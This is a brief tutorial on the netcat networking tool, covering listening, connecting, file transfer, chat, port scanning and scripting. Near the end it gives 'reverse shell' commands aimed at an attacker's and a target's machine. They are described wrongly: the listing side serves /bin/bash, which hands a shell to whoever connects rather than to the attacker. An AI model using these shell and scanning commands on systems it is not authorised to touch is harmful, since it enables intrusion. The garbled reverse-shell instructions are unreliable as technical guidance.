Netcat, often referred to as the "Swiss Army knife" of networking, is a versatile tool for network diagnostics, debugging, and data transfer.
Open your terminal and type:
nc
To view available options, use:
nc -h
To listen for incoming connections on a specified port:
nc -l -p <port>
Example:
nc -l -p 1234
To connect to a remote server on a specific port:
nc <target-ip> <port>
Example:
nc 192.168.1.10 1234
Sending a File:
On the sender's side, use:
nc -l -p <port> < <file>
Example:
nc -l -p 1234 < myfile.txt
Receiving a File:
On the receiver's side, use:
nc <sender-ip> <port> > <file>
Example:
nc 192.168.1.5 1234 > receivedfile.txt
To set up a basic chat session:
On one terminal, listen for connections:
nc -l -p <port>
On another terminal, connect to that port:
nc <target-ip> <port>
Type messages and press Enter to send.
Use Netcat to scan for open ports on a target:
nc -z -v <target-ip> <start-port>-<end-port>
Example:
nc -z -v 192.168.1.10 1-1000
To create a reverse shell:
On the attacker’s machine, listen for a connection:
nc -l -p <port> -e /bin/bash
On the target machine, connect back:
nc <attacker-ip> <port>
Netcat can be used in scripts for automation. Example of a simple script:
#!/bin/bash
nc -l -p 1234 | while read line; do
echo "Received: $line"
done
To exit a Netcat session, use Ctrl + C or type exit if in an interactive session.
If you experience connectivity issues, check firewall settings and ensure the correct ports are open.
Refer to the manual for more options and details:
man nc